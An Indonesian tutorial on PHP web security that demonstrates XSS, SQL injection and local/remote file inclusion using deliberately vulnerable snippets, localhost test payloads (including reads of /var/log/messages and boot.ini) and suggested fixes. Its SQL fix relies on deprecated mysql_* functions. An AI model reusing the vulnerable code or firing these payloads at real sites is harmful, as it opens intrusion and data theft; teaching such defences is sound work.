Solusi masalah Web Security di PHP

Penting bagi web programmer untuk mengeCek Security atau Hole atau bugs atau lain-lain, sebelum di publish ke internet. Hal ini harus di prioritaskan karena jika tidak akan gampang di susupi oleh pengunjung yang iseng, atau ingin merusak website yang sudah di bangun.

1. XSS (Cross Site Scripting)


Cross site Scripting ini adalah teknik yang tidak merusak Server Side (tidak dapat membaca codingan server side), tapi membahayakan client side. Dengan XSS ini si penyerang bisa mengambil data cookies, atau lainnya.
XSS bisa berasal dari method GET dan POST bahkan COOKIES dan user-agent jg bisa. 
berikut contoh kasus methodnya :
GET :
buat file get.php isinya 


<?php echo $_GET['q'];?> 


lalu jalankan di localhost : http://localhost/get.php?q=test <-- akan menghasilkan kata "test"
XSS nya .. http://localhost/get.php?q=<script>alert("test");</script> <--- akan menghasilkan kata "test" tapi lihat URL nya di sisipi tags <script> (javascript) bahkan tags <style> dan HTML pun bisa di susupi.



Solusi ?
Gunakan perintah di PHP htmlspecialchars($_GET['q']); jadinya 


<?php echo htmlspecialchars($_GET['q']);?>

 2.SQL injection

Teknik SQL injection sangat fatal, karena dapat memasukkan perintah SQL dan melihat isi dari Database SQL.

Contoh : 
buat file sql.php



<?php $query = mysql_query(“SELECT * FROM tabel WHERE id='”.$_GET['sql'].”'”);while($fetch = mysql_fetch_array($query)) {echo $fetch['0'];}?>

lalu buka http://localhost/sql.php?sql=' <---- jika ada tampilan Error brarti dapat disusupi perintah SQL.

Solusi nya :

gunakan mysql_real_escape_string($_GET['sql']);
contoh function nya : 


function sqlinjection($karakter) {$antiSQL = mysql_real_escape_string($karakter);return $antiSQL;}

jadi :


<?php $query = mysql_query(“SELECT * FROM tabel WHERE id='”.sqlinjection ($_GET['sql']).”'”);while($fetch = mysql_fetch_array($query)) {echo $fetch['0'];}?> 

3. LFI (Local File Inclusion) dan RFI (Remote File Inclusion)

Teknik ini sebenarnya sudah jarang di gunakan, tapi beberapa web programmer masih menggunakannya karena alasan tertentu.
contoh kasus :
buat file inc.php 


<?php include $_GET['data'];?>

lalu jalankan http://localhost/inc.php?data=data.php <--- jika di satu direktori ada file data.php maka tidak akan terjadi error
jika di ganti menjadi http://localhost/inc.php?data=/var/log/messages (linux) atau http://localhost/inc.php?data=C:\boot.ini (windows) .. maka akan tampil pesan dari file /va/log/mesages (unix) atau c:\windows\Boot.ini (windows).
kalau RFI masukkan http://localhost/inc.php?data=http://namawebsitelain/datalain.txt , bahaya nya dapat menginjeksi file PHP atau membuat perintah PHP.

Solusinya :
untuk mengatasi ini secara default php.ini ada perintah allow_url_include di set off .. tapi jika sudah terlanjur maka matikan saja.
tapi untuk LFI untuk menghindari penggunaan perintah seperti ini :


<?php include $_GET['data'];?> 

bersambung